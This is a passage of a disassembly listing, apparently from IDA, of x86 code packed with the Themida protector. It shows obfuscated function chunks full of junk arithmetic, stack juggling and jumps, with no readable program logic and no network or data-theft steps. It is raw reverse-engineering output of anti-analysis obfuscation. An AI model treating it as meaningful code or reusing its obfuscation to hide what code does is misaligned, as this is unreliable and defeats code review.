sub_561B55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E5BB loc_572FE8: ; CODE XREF: sub_56E5BB-D3A9j add edx, ecx add edx, 1EFD099Bh mov ecx, [esp+18h+var_18] add esp, 4 push edx jmp loc_5689D9 ; END OF FUNCTION CHUNK FOR sub_56E5BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_572FFF: ; CODE XREF: sub_573612+14B8j push 350E0E94h pop esi xor esi, 67983911h mov edi, esi pop esi jmp loc_563112 ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_573013: ; CODE XREF: sub_56BC97-607Aj xor ecx, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_57170B ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_57301E: ; CODE XREF: sub_56C83E+3096j mov edi, 757B74C4h xor [esp+8+var_4], edi pop edi push [esp+4+var_4] pop eax add esp, 4 push edx mov edx, 422736BEh or edx, 51CD02EAh xor edx, 55F16EE9h push edi push ebx mov ebx, 1556429Fh neg ebx push edx mov edx, 2A680802h jmp loc_56E9F6 ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DAB2 loc_573055: ; CODE XREF: sub_56DAB2-9A4Dj mov edx, 3E0F59A5h push ecx mov ecx, 10E219E5h or edx, ecx pop ecx add edx, 0FC01E915h add eax, 7A021AFCh push esi mov esi, 42A649D4h sub eax, esi pop esi sub eax, edx add eax, 42A649D4h sub eax, 7A021AFCh mov edx, [esp+8+var_8] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] pop esp mov edi, [esp+8+var_8] add esp, 4 jmp sub_56356E ; END OF FUNCTION CHUNK FOR sub_56DAB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57117B loc_5730A7: ; CODE XREF: sub_57117B+Dj pop ebx mov cx, [esp+0] add esp, 2 push small 68FDh mov [esp+0], cx mov cl, 3Ah sub al, cl pop cx push 3D28h mov [esp+0], edx push eax push 3C72h mov [esp+8+var_8], ebx push ecx mov cl, 8Ah neg cl dec cl jmp loc_571ABE ; END OF FUNCTION CHUNK FOR sub_57117B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_5730DA: ; CODE XREF: sub_57523A-E811j pop ecx add edi, 0B7F2A3Bh add edi, edx jmp loc_5659E2 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- loc_5730E8: ; CODE XREF: Themida_:0056D5A0j pop esp mov [esp], edi push esp pop edi push edx push ebp push esi mov esi, 4 mov ebp, esi jmp loc_5640EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_5730FD: ; CODE XREF: sub_57549C-13139j add ebp, 0EA12034Dh add eax, 7895591Ch sub eax, ebp sub eax, 7895591Ch pop ebp sub eax, ebp push ebp mov ebp, 29D72F67h shl ebp, 5 xor ebp, 7C55563h inc ebp shr ebp, 6 add ebp, 1C1BDCE8h add eax, ebp jmp loc_568E12 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D93 loc_573132: ; CODE XREF: sub_568D93-4179j mov [esp-4+arg_0], esi push ebx jmp loc_56F076 ; END OF FUNCTION CHUNK FOR sub_568D93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_57313B: ; CODE XREF: sub_57549C-4C01j mov ebp, 2D8A0639h shl ebp, 6 inc ebp sub ebp, 5B745DE1h push esi jmp loc_56FAD1 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_573150: ; CODE XREF: sub_571088+3B3Dj mov esi, esp push edx jmp loc_56EE69 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- loc_573158: ; CODE XREF: Themida_:00570BE7j mov esp, [esp] jmp loc_5672E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_573160: ; CODE XREF: sub_570621-B8BBj sub ebp, ebx jmp loc_56244E ; END OF FUNCTION CHUNK FOR sub_570621 ; =============== S U B R O U T I N E ======================================= sub_573167 proc near ; CODE XREF: sub_56E0B0+2FD3j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00565228 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005652B5 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00565358 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00565DA0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056895D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00568F59 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056901B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056DFAA SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005735F9 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 4 add ebp, ecx pop ecx push edx jmp loc_56895D sub_573167 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_57317E: ; CODE XREF: sub_56B1DC-47A7j add [esp+8+var_8], 4 pop eax jmp loc_5682A8 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56671D loc_57318B: ; CODE XREF: sub_56671D+383Bj add al, 3Ah push 3949h mov [esp+4+var_4], ecx jmp loc_574839 ; END OF FUNCTION CHUNK FOR sub_56671D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ABD0 loc_57319A: ; CODE XREF: sub_56ABD0+81AEj add edx, ebx push esi mov esi, 7D53D85h push esi not [esp+4+var_4] pop esi not esi xor esi, 28B3415Fh sub esi, 36C95550h sub esi, 0CE50D3E6h sub edx, esi mov esi, [esp+0] add esp, 4 pop ebx sub edx, eax sub esp, 4 mov [esp+0], esi jmp loc_572E00 ; END OF FUNCTION CHUNK FOR sub_56ABD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C7AA loc_5731D7: ; CODE XREF: sub_56C7AA-20E4j sub ebx, esi mov esi, ebx pop ebx push ebx jmp loc_565F37 ; END OF FUNCTION CHUNK FOR sub_56C7AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_5731E2: ; CODE XREF: sub_56B1DC+8478j shr esi, 5 push 2D52h mov [esp+0Ch+var_C], ecx jmp loc_56F143 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_5731F2: ; CODE XREF: sub_561027+1j pop eax pop ebx jmp loc_573909 ; END OF FUNCTION CHUNK FOR sub_561027 ; =============== S U B R O U T I N E ======================================= sub_5731F9 proc near ; CODE XREF: sub_572641-DC33j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562A4A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00574E8E SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], ecx mov cl, 47h xor cl, 46h sub bl, 0E2h add bl, cl jmp loc_562A4A sub_5731F9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_573211: ; CODE XREF: sub_56E96D-47F7j add ebp, 4 jmp loc_570C89 ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_57321C: ; CODE XREF: sub_567B29+BBB4j mov [esp+8+var_8], eax mov eax, 0 push ecx mov ecx, 38FA1772h or ecx, 481D3BA9h xchg edi, ecx dec edi xchg edi, ecx add ecx, 0ADFACBABh sub eax, ecx pop ecx add eax, ebx add eax, 26FA0BA5h mov ecx, [eax] mov eax, [esp+8+var_8] add esp, 4 jmp loc_567D42 ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_573252: ; CODE XREF: sub_567D31+DEFj sub dword ptr [esp+0], 48C03077h push dword ptr [esp+0] pop esi add esp, 4 jmp loc_56567A ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- loc_573265: ; CODE XREF: Themida_:00563C29j add ecx, 20F30807h jmp loc_564480 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_573270: ; CODE XREF: sub_561027+10B39j xor esi, 0B5081C55h xor edi, esi jmp loc_574CE8 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- loc_57327D: ; CODE XREF: Themida_:00564551j mov edx, esp add edx, 4 push esi mov esi, 4 sub edx, esi pop esi sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], eax push esp pop eax jmp loc_568737 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_5732AC: ; CODE XREF: sub_5747D7-12725j push eax mov eax, esp add eax, 4 push edi mov edi, 525529EBh not edi neg edi shr edi, 1 xor edi, 292A94F2h sub eax, edi pop edi jmp loc_56124A ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_5732CE: ; CODE XREF: sub_570732-A0A8j add esp, 4 sub [esp+14h+var_10], 2E2D13C5h sub [esp+14h+var_10], ebp add [esp+14h+var_10], 2E2D13C5h push [esp+14h+var_14] jmp loc_56C9E4 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_5732ED: ; CODE XREF: sub_5745B5-4625j push ecx mov ch, 0E3h add ch, 8Dh xor dh, ch mov ecx, [esp+8+var_8] add esp, 4 shr dh, 1 sub dh, 0B7h sub al, 17h jmp loc_565472 ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- loc_573307: ; CODE XREF: Themida_:0056D7E7j push ecx push 4B43127Bh pop ecx add ecx, 1B9967B2h mov ebx, ecx pop ecx mov esi, ebx jmp loc_56312C ; --------------------------------------------------------------------------- loc_57331E: ; CODE XREF: Themida_:0056FF0Fj sub ebx, 8DC897C7h add ebp, ebx pop ebx push esi jmp loc_5716AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_57332D: ; CODE XREF: sub_56D359+2912j pop esi add esp, 4 push ebp jmp loc_5646CE ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_573337: ; CODE XREF: sub_57354D-5D57j mov [esp+4+var_4], esi not [esp+4+var_4] jmp loc_561E82 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_573342: ; CODE XREF: sub_5690E8+12ABj neg ebx jmp loc_565E7D ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_573349: ; CODE XREF: sub_564020+3DE7j sub ebx, edx add ebx, 59B77967h sub ebx, 2E3322D5h push edx mov edx, 0C3D0404h not edx jmp loc_571AE7 ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_573364: ; CODE XREF: sub_5687A3+A558j mov [esp+4+var_4], ecx sub esp, 4 jmp loc_568B5A ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_57336F: ; CODE XREF: sub_569A84+94B8j add esp, 4 push 36E3h mov [esp+8+var_8], ecx mov ecx, 2 add edi, ecx pop ecx push edi push [esp+8+var_4] pop edi pop [esp+8+var_8] mov esp, [esp+4+var_4] mov cx, [esp-4+arg_0] push ebx jmp loc_570CDE ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_57339B: ; CODE XREF: sub_572DD7-532j xor [esp+0], edi xor edi, [esp+0] mov esp, [esp+0] sub esp, 4 jmp loc_56F456 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_5733AF: ; CODE XREF: sub_571C93-B72Dj pop ebx sub edi, 798212D4h add edi, ecx add edi, 798212D4h pop ecx push esi mov esi, 6A056D72h jmp loc_565CB0 ; END OF FUNCTION CHUNK FOR sub_571C93 ; =============== S U B R O U T I N E ======================================= sub_5733CA proc near ; CODE XREF: sub_56DD54+3027j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560B9A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00562368 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00562854 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00566911 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566FC6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00569F5D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056C540 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056D1D5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570925 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00570E92 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00573763 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00574D14 SIZE 0000000E BYTES push ebp mov ebp, 416E25F6h not ebp sub ebp, 23E51265h dec ebp jmp loc_574D14 sub_5733CA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_5733DE: ; CODE XREF: sub_5738F4-3266j mov esi, 3EDD43F8h jmp loc_564D17 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_5733E8: ; CODE XREF: sub_574949-13DDFj add edi, 4 xchg edi, [esp+4+var_4] pop esp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp xor bl, al movzx eax, al jmp loc_570394 ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_57340C: ; CODE XREF: sub_566DFE+5E8Aj mov edi, [esp+0] jmp loc_561E2F ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_573414: ; CODE XREF: sub_574656-BF24j mov ebx, 2C265B02h sub [esp+10h+var_C], ebx mov ebx, [esp+10h+var_10] add esp, 4 jmp loc_5676E2 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_573428: ; CODE XREF: sub_569DB5+6A9Bj add esi, 1 jmp loc_5698A4 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565AFE loc_573430: ; CODE XREF: sub_565AFE-1AECj pop ecx add edx, 2 push edx push dword ptr [esp+4] jmp loc_563B56 ; END OF FUNCTION CHUNK FOR sub_565AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_573441: ; CODE XREF: sub_572641-2059j sub bh, 0A0h pop ecx jmp loc_572746 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_57344A: ; CODE XREF: sub_56FA44-64C2j add ecx, esi push esi mov esi, 48730547h sub ecx, esi jmp loc_572D3F ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_573459: ; CODE XREF: sub_5681F5-81F3j and eax, 1BB05FCAh shl eax, 6 dec eax dec eax xchg eax, esi not esi xchg eax, esi jmp loc_56B761 ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C553 loc_57346C: ; CODE XREF: sub_56C553+9j push esi mov esi, 2000000h push 544Fh jmp loc_56134D ; END OF FUNCTION CHUNK FOR sub_56C553 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_57347C: ; CODE XREF: sub_56616D+AE99j add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp jmp loc_574315 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_573491: ; CODE XREF: sub_563A7F+1124Aj mov al, bl mov dh, al pop eax mov bl, cl mov cl, dh jmp loc_56C682 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- loc_57349F: ; CODE XREF: Themida_:0056979Dj add esp, 4 jmp loc_5673C9 ; =============== S U B R O U T I N E ======================================= sub_5734A7 proc near ; DATA XREF: Themida_:0055FE20o var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560B84 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005616BD SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00563C03 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565554 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056676E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00566BB0 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00568FDE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056B1FF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056B7CD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056BB11 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056C1CE SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056C5A6 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056F10C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056F816 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571B8F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00572E0B SIZE 0000000B BYTES lodsd push edi push 21581D42h jmp loc_560B84 sub_5734A7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_5734B3: ; CODE XREF: sub_574304-ECAFj pop esi jmp loc_5675EF ; --------------------------------------------------------------------------- loc_5734B9: ; CODE XREF: sub_574304-6151j sub edi, eax pop eax jmp loc_570B84 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_5734C1: ; CODE XREF: sub_56651E-1D8Fj pop esp mov [esp+0], ebx mov ebx, 40000h push ebx push edx mov edx, 59673A05h sub [esp+8+var_4], 6EF6571Ch sub [esp+8+var_4], edx add [esp+8+var_4], 6EF6571Ch mov edx, [esp+8+var_8] add esp, 4 pop edx push ebp mov ebp, 31ED214Ah dec ebp jmp loc_567636 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_5734FB: ; CODE XREF: sub_563819+560Fj mov edi, [esp-8+arg_4] add esp, 4 xor esi, [esp-0Ch+arg_8] jmp loc_5639CA ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- loc_573509: ; DATA XREF: Themida_:0055FCC0o mov cx, [esp] push edx jmp loc_571437 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_573513: ; CODE XREF: sub_571289-6ECBj xor esi, 0FA27507Bh push edx mov edx, esi push edx pop ecx pop edx mov esi, [esp+4+var_4] add esp, 4 sub eax, ecx jmp loc_572462 ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_57352C: ; CODE XREF: sub_568E5C+46C2j push 528043FBh mov edx, [esp+10h+var_10] add esp, 4 neg edx push ebx mov ebx, 117B6B85h xor ebx, 6D0A1B19h jmp loc_566D54 ; END OF FUNCTION CHUNK FOR sub_568E5C ; =============== S U B R O U T I N E ======================================= sub_57354D proc near ; CODE XREF: sub_569193+BE87j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056047D SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00560703 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00560B6F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00560E6D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00560F4A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00561300 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00561E82 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561FF0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00562703 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00562827 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00562DDF SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00562E3C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00562F88 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00563B00 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00563FB4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005645FA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00564702 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00565008 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005656B5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005658C0 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056596B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056668F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005668A2 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056697A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00566BA5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00566CB5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005674AF SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056788D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005679E8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567CB7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00567E2A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005682F5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005687FB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005696C6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00569C1D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569F64 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00569F98 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056A17B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A3E8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056A690 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056A6F5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056AD2E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056AF76 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056B137 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056B1D5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056B429 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056B4E5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056BBB3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056BCA0 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056C561 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056CBFB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D5C7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D7EC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056D8FE SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0056E2F9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056E4A6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056E855 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056EA12 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056ED0B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F6D6 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0056FD54 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00570213 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0057034A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057040D SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005708E9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005709E4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00570EE1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0057118D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0057154D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005717B1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005717FC SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00571862 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00571BB1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00571C10 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00571C39 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00571EE1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005726EB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00572768 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005727AC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005728F1 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005729E1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00572F04 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573337 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005736EC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00574157 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005745BB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00574751 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00574A34 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00574DD4 SIZE 00000025 BYTES sub esp, 4 push esp pop [esp+8+var_8] add [esp+4+var_4], 4 mov ebx, [esp+4+var_4] push ebp jmp loc_565008 sub_57354D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56626B loc_573561: ; CODE XREF: sub_56626B+C1D8j sub cl, 0B6h jmp loc_56E554 ; END OF FUNCTION CHUNK FOR sub_56626B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_573569: ; CODE XREF: sub_5678CB-71CDj xchg edx, [esp+4+var_4] pop esp xor dl, 0F8h add dl, 3Dh xor al, dl push dword ptr [esp+0] jmp loc_569568 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574D8F loc_57357D: ; CODE XREF: sub_574D8F+18j pop ebx add esp, 4 add esp, 4 push edi mov edi, 4F6411B7h add ebx, 69AC6D37h sub ebx, edi push eax mov eax, 69AC6D37h jmp loc_56D2AB ; END OF FUNCTION CHUNK FOR sub_574D8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_5735A0: ; CODE XREF: sub_56E126-696Bj mov eax, 1BEC513Fh jmp loc_56F448 ; END OF FUNCTION CHUNK FOR sub_56E126 ; =============== S U B R O U T I N E ======================================= sub_5735AA proc near ; CODE XREF: sub_56D589+4141j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056519D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00566823 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00566F9D SIZE 00000029 BYTES push ebp xor dword ptr [esp+0], 0B840CBDh pop esi xor esi, 0B840CBDh pop ebp push esi push ecx pop esi mov ecx, [esp+0] add esp, 4 jmp loc_56519D sub_5735AA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1B8 loc_5735C8: ; CODE XREF: sub_56E1B8+57CAj neg ecx xor ecx, 0B392C3B8h mov esi, ecx pop ecx sub edx, esi jmp loc_573C6B ; END OF FUNCTION CHUNK FOR sub_56E1B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57199D loc_5735DA: ; CODE XREF: sub_57199D-1119Ej add ebx, 32D5673Dh shr ebx, 8 xor ebx, 406EF3D3h jmp sub_56E4D4 ; END OF FUNCTION CHUNK FOR sub_57199D ; --------------------------------------------------------------------------- loc_5735EE: ; CODE XREF: Themida_:00561A96j sub esi, 589D1F27h jmp loc_56FE76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573167 loc_5735F9: ; CODE XREF: sub_573167-D3BEj pop 